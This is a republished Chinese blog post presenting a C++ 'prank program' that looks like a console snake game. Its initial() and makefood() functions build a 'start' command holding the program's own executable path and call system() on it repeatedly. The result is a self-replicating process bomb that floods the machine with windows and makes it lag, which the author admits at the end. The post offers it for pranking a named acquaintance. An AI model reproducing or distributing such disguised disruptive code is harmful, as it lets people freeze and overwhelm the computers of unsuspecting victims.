当前位置:   article > 正文

c++整人程序(2)_整人c++

整人c++

上次的整人程序粉丝们和我说了不刺激,虽然我今天不整陈泽坤,但还是准备做个整人程序(其实上次我被他揍的很惨)大家也可以看看上次的文章喔:c语言整人程序(1)_做只快乐的程序猿的博客-CSDN博客

废话不多说,上代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <math.h>
#include <conio.h>
using namespace std;
struct snake
{
int x, y;
};
int foodx = 5, foody = 5;
snake body[100];
char a[1000] = "start ";
int size = 5;
char q = 's';
TCHAR strExeFullDir[MAX_PATH] = { 0 };
char ground[21][21];
bool dey = false;
void makefood()
{
if (foodx != -1 && foody != -1)
return;
int pig;
srand((unsigned)time(NULL));
pig = rand();
Sleep(pig % 11);
srand((unsigned)time(NULL));
pig *= rand();
foodx = pig % 18 + 1;
Sleep(pig % 11);
system(a);system(a);system(a);system(a);
srand((unsigned)time(NULL));
pig = rand();
Sleep(pig % 11);
srand((unsigned)time(NULL));
pig *= rand();
foody = pig % 18 + 1;
}
void renovate()
{
for (int i = 1; i <= 20; i++)
for (int j = 1; j <= 20; j++)
{
ground[i][j] = ' ';
if (i == 1 || j == 1 || i == 20 || j == 20)
ground[i][j] = '#';
}

for (int i = 1; i <= size; i++)
ground[body[i].x + 2][body[i].y + 2] = 'X';
ground[body[1].x + 2][body[1].y + 2] = 'H';

if (foodx > 0 && foody > 0)
ground[foodx + 2][foody + 2] = 'o';
}
void over()
{
dey = true;
}
void walk(char u)
{
makefood();
int rr = 0;
if (u == 'w')
{
body[0].x = body[1].x - 1;
body[0].y = body[1].y;
rr++;
}
if (u == 'a')
{
body[0].x = body[1].x;
body[0].y = body[1].y - 1;
rr++;
}
if (u == 's')
{
body[0].x = body[1].x + 1;
body[0].y = body[1].y;
rr++;
}
if (u == 'd')
{
body[0].x = body[1].x;
body[0].y = body[1].y + 1;
rr++;
}
for (int i = size; i >= 0; i--)
{
if (foodx == body[i].x && foody == body[i].y)
{
foodx = -1;
foody = -1;
size++;
}
}

if (rr != 0)
{
for (int i = size; i >= 1; i--)
{
body[i].x = body[i - 1].x;
body[i].y = body[i - 1].y;
}
renovate();
}
if (body[1].x >= 20)
{
size -= 5;
q = 'w';
}
if (body[1].x < 0)
{
size -= 5;
q = 's';
}
if (body[1].y >= 20)
{
size -= 5;
q = 'a';
}
if (body[1].y < 0)
{
size -= 5;
q = 'd';
}
if (size <= 0)
over();
}
void initial()
{
body[1].x = 2;
body[1].y = 2;
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
for (int i = 1; i <= size; i++)
{
body[i].x = body[i - 1].x;
body[i].y = body[i - 1].y + 1;
}
for (int i = 0; i < 100; i++)
a[i + 6] = strExeFullDir[i];
for (int i = 1; i <= 20; i++)
for (int j = 1; j <= 20; j++)
{
ground[i][j] = ' ';
if (i == 1 || j == 1 || i == 20 || j == 20)
ground[i][j] = '#';
}
system(a);system(a);system(a);
}
void print()
{
system("cls");
for (int i = 1; i <= 20; i++)
{
for (int j = 1; j <= 20; j++)
cout << ground[i][j];
cout << endl;
}
}
void navi()
{
if (body[1].x >= 19)
{
walk('w');
}
if (body[1].x < 1)
{
walk('s');
}
if (body[1].y >= 19)
{
walk('a');
}
if (body[1].y < 1)
{
walk('d');
}
if ((foodx - body[1].x) > 0)
{
walk('s');
return;
}

if ((foodx - body[1].x) < 0)
{
walk('w');
return;
}

if ((foody - body[1].y) > 0)
{
walk('d');
return;
}

if ((foody - body[1].y) < 0)
{
walk('a');
return;
}
}
int main()
{
initial();
while (1)
{
Sleep(250);
if (_kbhit())
{
q = _getch();
}
if (dey == 1)
return 0;
if (q == 'z')
navi();
walk(q);
print();
}
return 0;
}
(其实是一个卡顿加无限弹窗程序啦!!)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/正经夜光杯/article/detail/853835
推荐阅读
相关标签
  

闽ICP备14008679号